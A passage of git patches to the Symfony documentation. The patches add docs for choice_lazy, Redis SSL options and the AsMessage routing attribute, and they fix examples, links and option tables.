     </phpunit>
 
-Credit from `Testing Part 2 Functional Testing on Symfony cast`_ were you can see more about this case.
+.. seealso::
 
-.. note::
-
-    When using :doc:`AssetMapper component </frontend/asset_mapper>`, you can also compile your assets before running
-    your tests. It will make your tests faster because Symfony will not have to handle them, the built-in server
-    will serve them directly.
+    See the `Functional Testing tutorial`_ on SymfonyCasts.
 
 Additional Documentation
 ------------------------
@@ -875,4 +874,4 @@ documentation:
 .. _`AppVeyor`: https://www.appveyor.com/
 .. _`LiipFunctionalTestBundle`: https://github.com/liip/LiipFunctionalTestBundle
 .. _`PHP built-in server`: https://www.php.net/manual/en/features.commandline.webserver.php
-.. _`Testing Part 2 Functional Testing on Symfony cast`: https://symfonycasts.com/screencast/last-stack/testing
+.. _`Functional Testing tutorial`: https://symfonycasts.com/screencast/last-stack/testing

From e55e7cda09565450489232ab9144b752f8fe7e73 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonel.ceruto@scnd.com>
Date: Sun, 13 Oct 2024 15:23:24 -0400
Subject: [PATCH 6438/7107] documenting choice_lazy option

---
 reference/forms/types/choice.rst              |  2 ++
 .../forms/types/options/choice_lazy.rst.inc   | 31 +++++++++++++++++++
 2 files changed, 33 insertions(+)
 create mode 100644 reference/forms/types/options/choice_lazy.rst.inc

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 55f2d016001..2d31aac890c 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -178,6 +178,8 @@ correct types will be assigned to the model.
 
 .. include:: /reference/forms/types/options/choice_loader.rst.inc
 
+.. include:: /reference/forms/types/options/choice_lazy.rst.inc
+
 .. include:: /reference/forms/types/options/choice_name.rst.inc
 
 .. include:: /reference/forms/types/options/choice_translation_domain_enabled.rst.inc
diff --git a/reference/forms/types/options/choice_lazy.rst.inc b/reference/forms/types/options/choice_lazy.rst.inc
new file mode 100644
index 00000000000..db8591a613d
--- /dev/null
+++ b/reference/forms/types/options/choice_lazy.rst.inc
@@ -0,0 +1,31 @@
+``choice_lazy``
+~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+The ``choice_lazy`` option is especially useful when dealing with a large set of
+choices, where loading all of them at once could lead to performance issues or
+significant delays::
+
+    use App\Entity\User;
+    use Symfony\Bridge\Doctrine\Form\Type\EntityType;
+
+    $builder->add('user', EntityType::class, [
+        'class' => User::class,
+        'choice_lazy' => true,
+    ]);
+
+When set to ``true``, and used in combination with the ``choice_loader`` option,
+the form will only load and render the choices that are preset as default values
+or submitted. This allows you to defer loading the full list of choices and can
+improve the performance of your form.
+
+.. caution::
+
+    Please note that when using ``choice_lazy``, you are responsible for providing
+    the user interface to select choices, typically through a JavaScript plugin that
+    can handle the dynamic loading of choices.
+
+.. versionadded:: 7.2
+
+    The ``choice_lazy`` option was introduced in Symfony 7.2.

From e9bd37b9073074b82a31789851c97b6219e79d1e Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 14 Oct 2024 14:58:35 +0200
Subject: [PATCH 6439/7107] merge versionadded directives

---
 notifier.rst | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 71af2ccb440..b2329b2b28a 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -207,10 +207,6 @@ Service
                     **Webhook support**: No
 ==================  ====================================================================================================================================
 
-.. versionadded:: 7.2
-
-    The ``Primotexto`` integration was introduced in Symfony 7.2.
-
 .. tip::
 
     Use :doc:`Symfony configuration secrets </configuration/secrets>` to securely
@@ -229,7 +225,7 @@ Service
 
 .. versionadded:: 7.2
 
-    The ``Sipgate`` integration was introduced in Symfony 7.2.
+    The ``Primotexto`` and ``Sipgate`` integrations were introduced in Symfony 7.2.
 
 .. deprecated:: 7.1
 

From 12dfa63405ec8b7413ec69fa6df8306ce445d648 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 14 Oct 2024 15:46:52 +0200
Subject: [PATCH 6440/7107] Minor tweaks

---
 .../forms/types/options/choice_lazy.rst.inc   | 28 +++++++++----------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/reference/forms/types/options/choice_lazy.rst.inc b/reference/forms/types/options/choice_lazy.rst.inc
index db8591a613d..bdcbf178406 100644
--- a/reference/forms/types/options/choice_lazy.rst.inc
+++ b/reference/forms/types/options/choice_lazy.rst.inc
@@ -3,9 +3,13 @@
 
 **type**: ``boolean`` **default**: ``false``
 
-The ``choice_lazy`` option is especially useful when dealing with a large set of
-choices, where loading all of them at once could lead to performance issues or
-significant delays::
+.. versionadded:: 7.2
+
+    The ``choice_lazy`` option was introduced in Symfony 7.2.
+
+The ``choice_lazy`` option is particularly useful when dealing with a large set
+of choices, where loading them all at once could cause performance issues or
+delays::
 
     use App\Entity\User;
     use Symfony\Bridge\Doctrine\Form\Type\EntityType;
@@ -15,17 +19,13 @@ significant delays::
         'choice_lazy' => true,
     ]);
 
-When set to ``true``, and used in combination with the ``choice_loader`` option,
-the form will only load and render the choices that are preset as default values
-or submitted. This allows you to defer loading the full list of choices and can
-improve the performance of your form.
+When set to ``true`` and used alongside the ``choice_loader`` option, the form
+will only load and render the choices that are preset as default values or
+submitted. This defers the loading of the full list of choices, helping to
+improve your form's performance.
 
 .. caution::
 
-    Please note that when using ``choice_lazy``, you are responsible for providing
-    the user interface to select choices, typically through a JavaScript plugin that
-    can handle the dynamic loading of choices.
-
-.. versionadded:: 7.2
-
-    The ``choice_lazy`` option was introduced in Symfony 7.2.
+    Keep in mind that when using ``choice_lazy``, you are responsible for
+    providing the user interface for selecting choices, typically through a
+    JavaScript plugin capable of dynamically loading choices.

From 887e4d33654c1c1a1439223fa4716cb4d1076614 Mon Sep 17 00:00:00 2001
From: Tarjei Huse <tarjei@asku.no>
Date: Mon, 5 Aug 2024 11:47:36 +0200
Subject: [PATCH 6441/7107] [Messenger] Document SSL options for Redis

---
 messenger.rst | 30 ++++++++++++++++++++++++++++--
 1 file changed, 28 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 57163f3b60f..c2ab35292be 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1690,10 +1690,36 @@ read_timeout             Float, value in seconds                ``0``
 timeout                  Connection timeout. Float, value in    ``0``
                          seconds default indicates unlimited
 sentinel_master          String, if null or empty Sentinel      null
-                         support is disabled
+redis_sentinel           support is disabled
+ssl                      Map of TLS options.                    null
 =======================  =====================================  =================================
 
-.. versionadded:: 6.1
+SSL options
+-----------
+
+The SSL options can be used change requirements for the TLS channel:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/test/messenger.yaml
+        framework:
+            messenger:
+                transports:
+                    redis:
+                        dsn: "rediss://localhost"
+                        options:
+                            ssl:
+                                allow_self_signed: true
+                                capture_peer_cert: true
+                                capture_peer_cert_chain: true
+                                disable_compression: true
+                                SNI_enabled: true
+                                verify_peer: true
+                                verify_peer_name: true
+
+.. versionadded:: 7.1
 
     The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and
     ``sentinel_master`` options were introduced in Symfony 6.1.

From 75e5c99d09db2d9c7343908db5fc161d34802f36 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 14 Oct 2024 16:27:16 +0200
Subject: [PATCH 6442/7107] Minor tweak

---
 messenger.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index c2ab35292be..6399c2a64dd 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1694,10 +1694,7 @@ redis_sentinel           support is disabled
 ssl                      Map of TLS options.                    null
 =======================  =====================================  =================================
 
-SSL options
------------
-
-The SSL options can be used change requirements for the TLS channel:
+The ``ssl`` option can be used to change requirements for the TLS channel, e.g. in tests:
 
 .. configuration-block::
 

From 967930cbeea98e1c8effe8e9bf5cb5260a826963 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 14 Oct 2024 16:30:38 +0200
Subject: [PATCH 6443/7107] [Messenger] Minor doc fix

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 6399c2a64dd..4c1251cf656 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1716,7 +1716,7 @@ The ``ssl`` option can be used to change requirements for the TLS channel, e.g.
                                 verify_peer: true
                                 verify_peer_name: true
 
-.. versionadded:: 7.1
+.. versionadded:: 6.1
 
     The ``persistent_id``, ``retry_interval``, ``read_timeout``, ``timeout``, and
     ``sentinel_master`` options were introduced in Symfony 6.1.

From cede098aae36cc84e9e96186123d6714c02935e9 Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Mon, 14 Oct 2024 13:00:15 -0300
Subject: [PATCH 6444/7107] [Testing] Fix `:ref:` link

---
 testing/end_to_end.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing/end_to_end.rst b/testing/end_to_end.rst
index cbc5b6880bd..e43f5fa2be2 100644
--- a/testing/end_to_end.rst
+++ b/testing/end_to_end.rst
@@ -808,7 +808,7 @@ URI that's not a ``.php`` file) aren't in your public directory, the built-in
 server will return a 404 error. This often happens when letting the :doc:`AssetMapper component </frontend/asset_mapper>`
 handle your application assets in the ``dev`` environment.
 
-One solution when using AssetMapper is to ref:`compile assets <asset-mapper-compile-assets>`
+One solution when using AssetMapper is to :ref:`compile assets <asset-mapper-compile-assets>`
 before running your tests. This will also speed up your tests, as Symfony won't
 need to handle the assets, allowing the PHP built-in server to serve them directly.
 

From f39f6576b458adf4ab04726066f921557a7041cb Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Mon, 14 Oct 2024 12:50:34 -0300
Subject: [PATCH 6445/7107] [Messenger] Add reference to PHP docs for SSL
 context options

---
 messenger.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 4c1251cf656..950f4ff1af3 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1694,7 +1694,7 @@ redis_sentinel           support is disabled
 ssl                      Map of TLS options.                    null
 =======================  =====================================  =================================
 
-The ``ssl`` option can be used to change requirements for the TLS channel, e.g. in tests:
+The ``ssl`` option can be used to provide SSL context options (`php.net/context.ssl`_) for the TLS channel, e.g. in tests:
 
 .. configuration-block::
 
@@ -3488,3 +3488,4 @@ Learn more
 .. _`AMQProxy`: https://github.com/cloudamqp/amqproxy
 .. _`high connection churn`: https://www.rabbitmq.com/connections.html#high-connection-churn
 .. _`article about CQRS`: https://martinfowler.com/bliki/CQRS.html
+.. _`php.net/context.ssl`: https://php.net/context.ssl

From 902d7500886526a147f564d8061a8140d3aa0c45 Mon Sep 17 00:00:00 2001
From: seb-jean <sebastien.jean76@gmail.com>
Date: Mon, 14 Oct 2024 20:39:46 +0200
Subject: [PATCH 6446/7107] Update controller.rst

---
 controller.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index 17cf30e40ef..4fd03948ae2 100644
--- a/controller.rst
+++ b/controller.rst
@@ -578,7 +578,7 @@ To do so, map the parameter as an array and configure the type of each element
 using the ``type`` option of the attribute::
 
     public function dashboard(
-        #[MapRequestPayload(type: UserDTO::class)] array $users
+        #[MapRequestPayload(type: UserDto::class)] array $users
     ): Response
     {
         // ...

From 2f00687e1723ebd8a24437d8f0d653378d1c52b6 Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Tue, 15 Oct 2024 11:52:08 +0200
Subject: [PATCH 6447/7107] Fix the XML configuration example for enums

There is no `type="enum"` in the XML file loader.
---
 configuration.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/configuration.rst b/configuration.rst
index abd7dba9d96..2a5303741c1 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -232,7 +232,7 @@ reusable configuration value. By convention, parameters are defined under the
                 <parameter key="app.another_constant" type="constant">App\Entity\BlogPost::MAX_ITEMS</parameter>
 
                 <!-- Enum case as parameter values -->
-                <parameter key="app.some_enum" type="enum">App\Enum\PostState::Published</parameter>
+                <parameter key="app.some_enum" type="constant">App\Enum\PostState::Published</parameter>
             </parameters>
 
             <!-- ... -->

From 93ca37815417a6c11b7d8807beec1d9bf111b557 Mon Sep 17 00:00:00 2001
From: Laurens Laman <laurens.laman@llaman.nl>
Date: Tue, 15 Oct 2024 14:56:21 +0200
Subject: [PATCH 6448/7107] Update progressindicator.rst

Corrected false statement about the finishedIndicator. Make documentation more clear
---
 .../console/helpers/progressindicator.rst     | 24 +++++++++++--------
 1 file changed, 14 insertions(+), 10 deletions(-)

diff --git a/components/console/helpers/progressindicator.rst b/components/console/helpers/progressindicator.rst
index fedc8439e64..1d4384958e9 100644
--- a/components/console/helpers/progressindicator.rst
+++ b/components/console/helpers/progressindicator.rst
@@ -44,18 +44,21 @@ level of verbosity of the ``OutputInterface`` instance:
      | Processing...
      / Processing...
      - Processing...
+     ✔ Finished
 
     # OutputInterface::VERBOSITY_VERBOSE (-v)
      \ Processing... (1 sec)
      | Processing... (1 sec)
      / Processing... (1 sec)
      - Processing... (1 sec)
+     ✔ Finished (1 sec)
 
     # OutputInterface::VERBOSITY_VERY_VERBOSE (-vv) and OutputInterface::VERBOSITY_DEBUG (-vvv)
      \ Processing... (1 sec, 6.0 MiB)
      | Processing... (1 sec, 6.0 MiB)
      / Processing... (1 sec, 6.0 MiB)
      - Processing... (1 sec, 6.0 MiB)
+     ✔ Finished (1 sec, 6.0 MiB)
 
 .. tip::
 
@@ -94,22 +97,23 @@ The progress indicator will now look like this:
      ⠛ Processing...
      ⠹ Processing...
      ⢸ Processing...
+     ✔ Finished
 
-Once the progress indicator is finished, it keeps the latest indicator value by
-default. You can replace it with your own::
+Once the progress indicator is finished, it uses the finishedIndicator value (which defaults to ✔). You can replace it with your own::
 
-    $progressIndicator->finish('Finished', '✅');
-
-Then the progress indicator will render like this:
-
-.. code-block:: text
+    $progressIndicator = new ProgressIndicator($output, 'verbose', 100, null, '🎉');
+    
+    try {
+        /* do something */
+        $progressIndicator->finish('Finished');
+    } catch (\Exception) {
+        $progressIndicator->finish('Failed', '🚨');
+    }
 
-     ⠏ Processing...
-     ⠛ Processing...
-     ✅ Finished
 
 .. versionadded:: 7.2
 
+    The ``finishedIndicator`` parameter for the constructor was introduced in Symfony 7.2.
     The ``finishedIndicator`` parameter for method ``finish()`` was introduced in Symfony 7.2.
 
 Customize Placeholders

From 7fff76bd4fa1367554b959598c505dee6f4489e5 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 15 Oct 2024 16:36:14 +0200
Subject: [PATCH 6449/7107] rename addHeader to setHeader in httpclient

---
 http_client.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 91b91ebc4a5..bf64026b946 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -152,7 +152,7 @@ brings most of the available options with type-hinted getters and setters::
             ->setBaseUri('https://...')
             // replaces *all* headers at once, and deletes the headers you do not provide
             ->setHeaders(['header-name' => 'header-value'])
-            // set or replace a single header using addHeader()
+            // set or replace a single header using setHeader()
             ->setHeader('another-header-name', 'another-header-value')
             ->toArray()
     );

From 714113ceff60c34a186783f6d4163875d1105bc7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 15 Oct 2024 16:46:08 +0200
Subject: [PATCH 6450/7107] Minor tweak

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 950f4ff1af3..e3616b49748 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1694,7 +1694,7 @@ redis_sentinel           support is disabled
 ssl                      Map of TLS options.                    null
 =======================  =====================================  =================================
 
-The ``ssl`` option can be used to provide SSL context options (`php.net/context.ssl`_) for the TLS channel, e.g. in tests:
+The ``ssl`` option can be used to provide `SSL context options`_ for the TLS channel, e.g. in tests:
 
 .. configuration-block::
 
@@ -3488,4 +3488,4 @@ Learn more
 .. _`AMQProxy`: https://github.com/cloudamqp/amqproxy
 .. _`high connection churn`: https://www.rabbitmq.com/connections.html#high-connection-churn
 .. _`article about CQRS`: https://martinfowler.com/bliki/CQRS.html
-.. _`php.net/context.ssl`: https://php.net/context.ssl
+.. _`SSL context options`: https://php.net/context.ssl

From dfa089c204920421d41590e40c6d34109e59fbbf Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Anderson=20M=C3=BCller?= <anderson.a.muller@gmail.com>
Date: Tue, 15 Oct 2024 18:22:45 +0200
Subject: [PATCH 6451/7107] Fix parameter name in
 `registerAttributeForAutoconfiguration` example

---
 service_container/tags.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container/tags.rst b/service_container/tags.rst
index 9917cc65204..18f22a9ffa8 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -250,7 +250,7 @@ call to support ``ReflectionMethod``::
                 // update the union type to support multiple types of reflection
                 // you can also use the "\Reflector" interface
                 \ReflectionClass|\ReflectionMethod $reflector): void {
-                    if ($reflection instanceof \ReflectionMethod) {
+                    if ($reflector instanceof \ReflectionMethod) {
                         // ...
                     }
                 }

From d926bbb4e7cb2cd75e0f2f444a3b41dc3a1938d5 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 16 Oct 2024 10:53:34 +0200
Subject: [PATCH 6452/7107] Reword

---
 messenger.rst | 102 +++++++++++++++++++++++++-------------------------
 1 file changed, 50 insertions(+), 52 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 03c429e214e..9cb6b4a6ff4 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -203,8 +203,23 @@ Routing Messages to a Transport
 Now that you have a transport configured, instead of handling a message immediately,
 you can configure them to be sent to a transport:
 
+.. _messenger-message-attribute:
+
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/Message/SmsNotification.php
+        namespace App\Message;
+
+        use Symfony\Component\Messenger\Attribute\AsMessage;
+
+        #[AsMessage('async')]
+        class SmsNotification
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/packages/messenger.yaml
@@ -251,15 +266,26 @@ you can configure them to be sent to a transport:
             ;
         };
 
+.. versionadded:: 7.2
+
+    The ``#[AsMessage]`` attribute was introduced in Symfony 7.2.
+
 Thanks to this, the ``App\Message\SmsNotification`` will be sent to the ``async``
 transport and its handler(s) will *not* be called immediately. Any messages not
 matched under ``routing`` will still be handled immediately, i.e. synchronously.
 
 .. note::
 
-    You may use a partial PHP namespace like ``'App\Message\*'`` to match all
-    the messages within the matching namespace. The only requirement is that the
-    ``'*'`` wildcard has to be placed at the end of the namespace.
+    If you configure routing with both YAML/XML/PHP configuration files and
+    PHP attributes, the configuration always takes precedence over the class
+    attribute. This behavior allows you to override routing on a per-environment basis.
+
+.. note::
+
+    When configuring the routing in separate YAML/XML/PHP files, you can use a partial
+    PHP namespace like ``'App\Message\*'`` to match all the messages within the
+    matching namespace. The only requirement is that the ``'*'`` wildcard has to
+    be placed at the end of the namespace.
 
     You may use ``'*'`` as the message class. This will act as a default routing
     rule for any message not matched under ``routing``. This is useful to ensure
@@ -275,6 +301,27 @@ to multiple transports:
 
 .. configuration-block::
 
+    .. code-block:: php-attributes
+
+        // src/Message/SmsNotification.php
+        namespace App\Message;
+
+        use Symfony\Component\Messenger\Attribute\AsMessage;
+
+        #[AsMessage(['async', 'audit'])]
+        class SmsNotification
+        {
+            // ...
+        }
+
+        // if you prefer, you can also apply multiple attributes to the message class
+        #[AsMessage('async')]
+        #[AsMessage('audit')]
+        class SmsNotification
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/packages/messenger.yaml
@@ -345,55 +392,6 @@ to multiple transports:
     name as its only argument. For more information about stamps, see
     `Envelopes & Stamps`_.
 
-.. _messenger-message-attribute:
-
-Configuring Routing Using Attributes
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-You can optionally use the `#[AsMessage]` attribute to configure message transport::
-
-    // src/Message/SmsNotification.php
-    namespace App\Message;
-
-    use Symfony\Component\Messenger\Attribute\AsMessage;
-
-    #[AsMessage(transport: 'async')]
-    class SmsNotification
-    {
-        public function __construct(
-            private string $content,
-        ) {
-        }
-
-        public function getContent(): string
-        {
-            return $this->content;
-        }
-    }
-
-.. note::
-
-    If you configure routing with both configuration and attributes, the
-    configuration will take precedence over the attributes and override
-    them. This allows to override routing on a per-environment basis
-    for example:
-
-    .. code-block:: yaml
-
-        # config/packages/messenger.yaml
-        when@dev:
-            framework:
-                messenger:
-                    routing:
-                        # override class attribute
-                        'App\Message\SmsNotification': sync
-
-.. tip::
-
-    The `$transport` parameter can be either a `string` or an `array`: configuring multiple
-    transports is possible. You may also repeat the attribute if you prefer instead of using
-    an array.
-
 Doctrine Entities in Messages
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From d0ed00f1411dbb9e392716ba16eb8cff67b6dff1 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 16 Oct 2024 11:10:06 +0200
Subject: [PATCH 6453/7107] [Messenger] Replace the tables by definition lists

---
 messenger.rst | 431 +++++++++++++++++++++++++++++---------------------
 1 file changed, 254 insertions(+), 177 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index e3616b49748..cc5e61d361c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1406,65 +1406,115 @@ the exchange, queues binding keys and more. See the documentation on
 
 The transport has a number of options:
 
-============================================  =================================================  ===================================
-     Option                                   Description                                        Default
-============================================  =================================================  ===================================
-``auto_setup``                                Whether the exchanges and queues should be         ``true``
-                                              created automatically during send / get.
-``cacert``                                    Path to the CA cert file in PEM format.
-``cert``                                      Path to the client certificate in PEM format.
-``channel_max``                               Specifies highest channel number that the server
-                                              permits. 0 means standard extension limit
-``confirm_timeout``                           Timeout in seconds for confirmation; if none
-                                              specified, transport will not wait for message
-                                              confirmation. Note: 0 or greater seconds. May be
-                                              fractional.
-``connect_timeout``                           Connection timeout. Note: 0 or greater seconds.
-                                              May be fractional.
-``frame_max``                                 The largest frame size that the server proposes
-                                              for the connection, including frame header and
-                                              end-byte. 0 means standard extension limit
-                                              (depends on librabbimq default frame size limit)
-``heartbeat``                                 The delay, in seconds, of the connection
-                                              heartbeat that the server wants. 0 means the
-                                              server does not want a heartbeat. Note,
-                                              librabbitmq has limited heartbeat support, which
-                                              means heartbeats checked only during blocking
-                                              calls.
-``host``                                      Hostname of the AMQP service
-``key``                                       Path to the client key in PEM format.
-``login``                                     Username to use to connect the AMQP service
-``password``                                  Password to use to connect to the AMQP service
-``persistent``                                                                                   ``'false'``
-``port``                                      Port of the AMQP service
-``read_timeout``                              Timeout in for income activity. Note: 0 or
-                                              greater seconds. May be fractional.
+``auto_setup`` (default: ``true``)
+    Whether the exchanges and queues should be created automatically during
+    send / get.
+
+``cacert``
+    Path to the CA cert file in PEM format.
+
+``cert``
+    Path to the client certificate in PEM format.
+
+``channel_max``
+    Specifies highest channel number that the server permits. 0 means standard
+    extension limit
+
+``confirm_timeout``
+    Timeout in seconds for confirmation; if none specified, transport will not
+    wait for message confirmation. Note: 0 or greater seconds. May be
+    fractional.
+
+``connect_timeout``
+    Connection timeout. Note: 0 or greater seconds. May be fractional.
+
+``frame_max``
+    The largest frame size that the server proposes for the connection,
+    including frame header and end-byte. 0 means standard extension limit
+    (depends on librabbimq default frame size limit)
+
+``heartbeat``
+    The delay, in seconds, of the connection heartbeat that the server wants. 0
+    means the server does not want a heartbeat. Note, librabbitmq has limited
+    heartbeat support, which means heartbeats checked only during blocking
+    calls.
+
+``host``
+    Hostname of the AMQP service
+
+``key``
+    Path to the client key in PEM format.
+
+``login``
+    Username to use to connect the AMQP service
+
+``password``
+    Password to use to connect to the AMQP service
+
+``persistent`` (default: ``'false'``)
+    Whether the connection is persistent
+
+``port``
+    Port of the AMQP service
+
+``read_timeout``
+    Timeout in for income activity. Note: 0 or greater seconds. May be
+    fractional.
+
 ``retry``
+    (no description available)
+
 ``sasl_method``
-``connection_name``                           For custom connection names (requires at least
-                                              version 1.10 of the PHP AMQP extension)
-``verify``                                    Enable or disable peer verification. If peer
-                                              verification is enabled then the common name in
-                                              the server certificate must match the server
-                                              name. Peer verification is enabled by default.
-``vhost``                                     Virtual Host to use with the AMQP service
-``write_timeout``                             Timeout in for outcome activity. Note: 0 or
-                                              greater seconds. May be fractional.
-``delay[queue_name_pattern]``                 Pattern to use to create the queues                ``delay_%exchange_name%_%routing_key%_%delay%``
-``delay[exchange_name]``                      Name of the exchange to be used for the            ``delays``
-                                              delayed/retried messages
-``queues[name][arguments]``                   Extra arguments
-``queues[name][binding_arguments]``           Arguments to be used while binding the queue.
-``queues[name][binding_keys]``                The binding keys (if any) to bind to this queue
-``queues[name][flags]``                       Queue flags                                        ``AMQP_DURABLE``
-``exchange[arguments]``                       Extra arguments for the exchange (e.g.
-                                              ``alternate-exchange``)
-``exchange[default_publish_routing_key]``     Routing key to use when publishing, if none is
-                                              specified on the message
-``exchange[flags]``                           Exchange flags                                     ``AMQP_DURABLE``
-``exchange[name]``                            Name of the exchange
-``exchange[type]``                            Type of exchange                                   ``fanout``
-============================================  =================================================  ===================================
+
+
+``connection_name``
+    For custom connection names (requires at least version 1.10 of the PHP AMQP
+    extension)
+
+``verify``
+    Enable or disable peer verification. If peer verification is enabled then
+    the common name in the server certificate must match the server name. Peer
+    verification is enabled by default.
+
+``vhost``
+    Virtual Host to use with the AMQP service
+
+``write_timeout``
+    Timeout in for outcome activity. Note: 0 or greater seconds. May be
+    fractional.
+
+``delay[queue_name_pattern]`` (default: ``delay_%exchange_name%_%routing_key%_%delay%``)
+    Pattern to use to create the queues
+
+``delay[exchange_name]`` (default: ``delays``)
+    Name of the exchange to be used for the delayed/retried messages
+
+``queues[name][arguments]``
+    Extra arguments
+
+``queues[name][binding_arguments]``
+    Arguments to be used while binding the queue.
+
+``queues[name][binding_keys]``
+    The binding keys (if any) to bind to this queue
+
+``queues[name][flags]`` (default: ``AMQP_DURABLE``)
+    Queue flags
+
+``exchange[arguments]``
+    Extra arguments for the exchange (e.g. ``alternate-exchange``)
+
+``exchange[default_publish_routing_key]``
+    Routing key to use when publishing, if none is specified on the message
+
+``exchange[flags]`` (default: ``AMQP_DURABLE``)
+    Exchange flags
+
+``exchange[name]``
+    Name of the exchange
+
+``exchange[type]`` (default: ``fanout``)
+    Type of exchange
 
 .. versionadded:: 6.1
 
@@ -1541,28 +1591,26 @@ Or, to create the table yourself, set the ``auto_setup`` option to ``false`` and
 
 The transport has a number of options:
 
-==================  =====================================  ======================
-Option              Description                            Default
-==================  =====================================  ======================
-table_name          Name of the table                      messenger_messages
-queue_name          Name of the queue (a column in the     default
-                    table, to use one table for
-                    multiple transports)
-redeliver_timeout   Timeout before retrying a message      3600
-                    that's in the queue but in the
-                    "handling" state (if a worker stopped
-                    for some reason, this will occur,
-                    eventually you should retry the
-                    message) - in seconds.
-auto_setup          Whether the table should be created
-                    automatically during send / get.       true
-==================  =====================================  ======================
+``table_name`` (default: ``messenger_messages``)
+    Name of the table
 
-.. note::
+``queue_name`` (default: ``default``)
+    Name of the queue (a column in the table, to use one table for multiple
+    transports)
 
-    Set ``redeliver_timeout`` to a greater value than your slowest message
-    duration. Otherwise, some messages will start a second time while the
-    first one is still being handled.
+``redeliver_timeout`` (default: ``3600``)
+    Timeout before retrying a message that's in the queue but in the "handling"
+    state (if a worker stopped for some reason, this will occur, eventually you
+    should retry the message) - in seconds.
+
+    .. note::
+
+        Set ``redeliver_timeout`` to a greater value than your slowest message
+        duration. Otherwise, some messages will start a second time while the
+        first one is still being handled.
+
+``auto_setup``
+    Whether the table should be created automatically during send / get.
 
 When using PostgreSQL, you have access to the following options to leverage
 the `LISTEN/NOTIFY`_ feature. This allow for a more performant approach
@@ -1570,17 +1618,16 @@ than the default polling behavior of the Doctrine transport because
 PostgreSQL will directly notify the workers when a new message is inserted
 in the table.
 
-=======================  ==========================================  ======================
-Option                   Description                                 Default
-=======================  ==========================================  ======================
-use_notify               Whether to use LISTEN/NOTIFY.               true
-check_delayed_interval   The interval to check for delayed           60000
-                         messages, in milliseconds.
-                         Set to 0 to disable checks.
-get_notify_timeout       The length of time to wait for a            0
-                         response when calling
-                         ``PDO::pgsqlGetNotify``, in milliseconds.
-=======================  ==========================================  ======================
+``use_notify`` (default: ``true``)
+    Whether to use LISTEN/NOTIFY.
+
+``check_delayed_interval`` (default: ``60000``)
+    The interval to check for delayed messages, in milliseconds. Set to 0 to
+    disable checks.
+
+``get_notify_timeout`` (default: ``0``)
+    The length of time to wait for a response when calling
+    ``PDO::pgsqlGetNotify``, in milliseconds.
 
 Beanstalkd Transport
 ~~~~~~~~~~~~~~~~~~~~
@@ -1604,20 +1651,16 @@ The Beanstalkd transport DSN may looks like this:
 
 The transport has a number of options:
 
-==================  ===================================  ======================
-     Option         Description                          Default
-==================  ===================================  ======================
-tube_name           Name of the queue                    default
-timeout             Message reservation timeout          0 (will cause the
-                    - in seconds.                        server to immediately
-                                                         return either a
-                                                         response or a
-                                                         TransportException
-                                                         will be thrown)
-ttr                 The message time to run before it
-                    is put back in the ready queue
-                    - in seconds.                        90
-==================  ===================================  ======================
